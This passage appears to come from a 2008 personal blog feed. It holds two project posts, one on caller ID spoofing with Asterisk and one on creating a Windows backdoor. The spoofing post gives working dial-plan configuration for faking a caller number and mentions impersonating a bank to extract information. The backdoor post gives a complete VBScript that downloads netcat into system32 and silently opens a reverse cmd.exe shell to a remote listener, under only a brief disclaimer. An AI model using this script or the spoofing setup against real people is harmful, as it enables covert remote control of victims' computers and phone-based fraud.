available</li> </ul> </ul> <p><a href="/content/my-projects">Back to my projects</a></p> </div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags:&nbsp;</h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/vbscript" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">vbscript</a></li><li class="field-item odd"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li></ul></section> Tue, 18 Nov 2008 21:35:32 +0000 Allan Feid 18 at https://allanfeid.com Caller ID Spoofing w/ Asterisk https://allanfeid.com/content/caller-id-spoofing-w-asterisk <div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>Caller ID is often thought of as the ultimate way to see who is calling you. People use it to screen calls all the time. When you're able to spoof that number to whatever you would like you can easily defeat human nature of screening out calls from people they don't want to talk to. Besides being able to get in touch with those ignoring your calls it can be an attackers best friend. He or she can simply spoof your bank's number and social engineer you into giving out valuable information. The way people rely on caller ID it is unlikely the victim will realize what has happened until it is far too late.</p> <!--break--><p><b>Hardware Used:</b></p> <ul> <li>Intel P4 box with 1GB of RAM</li> </ul> <p><b>Software Used:</b></p> <ul> <li>Ubuntu 7.10 Server</li> <li>Asterisk</li> <li>VMWare Workstation</li> </ul> <p><b>Prerequisites</b></p> <ul> <li>VoIP service from companies like NuFone or VoicePulse which allow you to use your own PBX</li> <li>Asterisk installed and able to run</li> <li>Basic Linux knowledge</li> </ul> <p><b>Table of Contents</b></p> <ol> <li><a href="#intro">Introduction</a></li> <li><a href="#config">Configuring Asterisk</a></li> <li><a href="#final">Final Thoughts</a></li> </ol> <p><a name="intro" id="intro"></a> <p><b>Introduction</b></p> <p>There are 3 main configuration files that need a bit of tweaking to get Asterisk working properly. These are iax.conf, sip.conf, and extensions.conf. The names pretty much tell you what each will be configuring. IAX is Inter-Asterisk Exchange and is the protocol used when connecting two Asterisk servers and is perfect for NAT transversal unlike the nightmare of SIP. SIP is the protocol that software based phones or hardware IP phones use to connect to the Asterisk box and extensions are what process call flow and routing. These configuration files all follow the standard "INI" file type where sections are denoted such as <code>[section1]</code> and variables under sections are declared simply with <code>var=foo</code>.</p> <p><a name="config" id="config"></a></p> <p><b>Configuring Asterisk</b></p> <p>First thing we'll cover is setting up the connection to your VoIP provider. Most good providers will give you a sample iax configuration file that you can look over for specifics to your service but in most cases simple open up <code>/etc/asterisk/iax.conf</code> and add a few lines at the end as follows:</p> <pre> [VoicePulse] type=peer host=server.example.voicepulse.com username=SomeuSer secret=PaSsWorD </pre><p>The first line there gives this connection a human readable name. The type tells Asterisk what type of connection this will be. Peer lets us know we will be sending calls through this connection. <code>Host</code>, <code>username</code>, and <code>secret</code> are all used to make the connection and authenticate. All of this should be given to you by your provider. As you can see this configuration is very basic and there are tons more options that can be done if this was going to be used in a production environment. The next file we need to edit is <code>/etc/asterisk/sip.conf</code>.</p> <pre> [sipuser] type=peer host=dynamic username=allan secret=1234 context=outgoing </pre><p>First line is again used to give the connection a name and <code>type</code> lets Asterisk know we can send calls to this connection and also make calls out. Setting <code>host</code> to <code>dynamic</code> ensures Asterisk keeps track of the IP/Hostname of the connection since it uses a dynamic IP. <code>Username</code> and <code>secret</code> are the username and password used to make the connection and context is used to simply tell Asterisk which context in the extension configuration to use. This lets Asterisk route the call as needed and be changed for each SIP user if you would like. The last configuration file for Asterisk is located in the same directory and named <code>extension.conf</code>. Open it up and add the following to the end:</p> <pre> [outgoing] exten =&gt; _1NXXNXXXXXX,1,SetCallerID(2024561111) exten =&gt; _1NXXNXXXXXX,n,Dial(IAX2/VoicePulse/${EXTEN}) </pre><p>Once again the first line is used to give a name to our settings. In this case it is called a context and that is what Asterisk uses to place calls based on your own rules. The next two lines will match any 1 + 10 digit US number. The N's and X's are basically just wild cards N matching any digit greater than 2 and X matching any at all. The 1 tells Asterisk to do that command first and the n is used to say "do this next" is basic terms. <code>SetCallerID()</code> is the key to spoofing caller ID. Here you can change the number to whatever you would like but most providers require a 10 digit number while others will let you even set your caller ID to numbers like 911. The next command is <code>Dial()</code> which is what we use to send off the call. The arguments used tell Asterisk to use the IAX2 protocol to our VoicePulse connection and to route the call to what we've dialed. <code>${EXTEN}</code> is just a global variable used for the number dialed.</p> <p>Everything should now be setup correctly and ready to use. The only thing left to configure is your softphone or IP phone depending what you are using. This is specific to individual phones and out of the scope of my project but essentially you tell your phone to connect to your Asterisk server. Often times from experience softphones will refer to this as "releam" or "domain" depending what phone you use (I recommend X-Lite or Twinkle). Besides that it will just ask for your username and password which were setup in <code>sip.conf</code>.</p> <p><center></p> <p style="display:block;width:100%;text-align:center;" align="center"> <b>CID Spoofing In Action</b><br /><img src="/sites/default/files/cid_white_house.jpg" width="500" height="299" /><br /> As you can see because of <a href="http://www.voip-info.org/wiki/view/CallerID" title="Caller ID">CNAM</a> it shows the owner of that number as well as the actual number. Sorry about the image quality I could not take a picture of my phone without it being blurry :( but you get the idea. </p> <p></center></p> <p><a name="final" id="final"></a> <p><b>Final Thoughts</b></p> <p>Caller ID spoofing is not illegal in anyway. You should however worry about committing fraud as there are tons of laws against that. The real use of caller ID spoofing is to just trick your friends and have some fun. Don't do anything stupid. This is just information I'm trying to spread in order to show people that you can't always trust what your caller ID says.</p> <p><a href="/content/my-projects">Back to my projects</a></p> </div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags:&nbsp;</h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/asterisk" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Asterisk</a></li><li class="field-item odd"><a href="/category/tags/caller-id" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">caller id</a></li><li class="field-item even"><a href="/category/tags/spoof" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">spoof</a></li><li class="field-item odd"><a href="/category/tags/voip" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">VoIP</a></li><li class="field-item even"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li></ul></section> Tue, 18 Nov 2008 01:23:34 +0000 Allan Feid 16 at https://allanfeid.com Create a backdoor into a Windows system https://allanfeid.com/content/create-backdoor-windows-system <div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>Using VBScript and netcat it is quite simple to create a basic backdoor into a users system with the priviledges of the user that ran the script. It's a very basic concept and all it does it download the netcat program (nc.exe) from a trusted website into the users c:\windows\system32 folder. What this does is allow you to run netcat from the command line without dealing with the full location of nc.exe. Once the file is in the system32 folder it can simple be run from any command prompt. </p> <!--break--><p><b>***This is a proof of concept and should not be used for illegal purposes. Only use this in your own test environment and I take no responsibility if you mess something up with this***</b></p> <p>To set this up, you need to have a computer running netcat waiting for the incomming connection. To do that just run a simple command such as:</p> <pre>nc -l 1337</pre><p>That's when we tell the script to run the following netcat command:</p> <pre>nc -d 10.0.0.8 1337 -e cmd.exe</pre><p> What this does is tell netcat to connect to the IP 10.0.0.8 on TCP port 1337. The -e switch tells netcat to execute cmd.exe and output it to the server waiting for the connection. The -d switch tells netcat to run in the background in a Windows environment. The user won't even know it's running without checking the process list. </p> <p>Here's an example script that will automatically download nc.exe, write it to c:\windows\system32 and then execute the netcat command to connect to the remote server: </p> <pre> ' Set your settings strFileURL = "http://10.0.0.10/nc.exe" strHDLocation = "C:\WINDOWS\system32\nc.exe" ' Fetch the file Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") objXMLHTTP.open "GET", strFileURL, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 'adTypeBinary objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 'Set the stream position to the start Set objFSO = Createobject("Scripting.FileSystemObject") If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End if Set objXMLHTTP = Nothing Set objShell = CreateObject("WScript.Shell") ' Execute the connection objShell.Exec("nc -d 10.0.0.8 1337 -e cmd.exe") </pre><p> <a href="/content/my-projects">Back to my projects</a></p> </div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags:&nbsp;</h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/windows" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Windows</a></li><li class="field-item odd"><a href="/category/tags/backdoor" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">backdoor</a></li><li class="field-item even"><a href="/category/tags/vbscript" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">vbscript</a></li><li class="field-item odd"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li></ul></section> Tue, 18 Nov 2008 00:37:27 +0000 Allan Feid 15 at https://allanfeid.com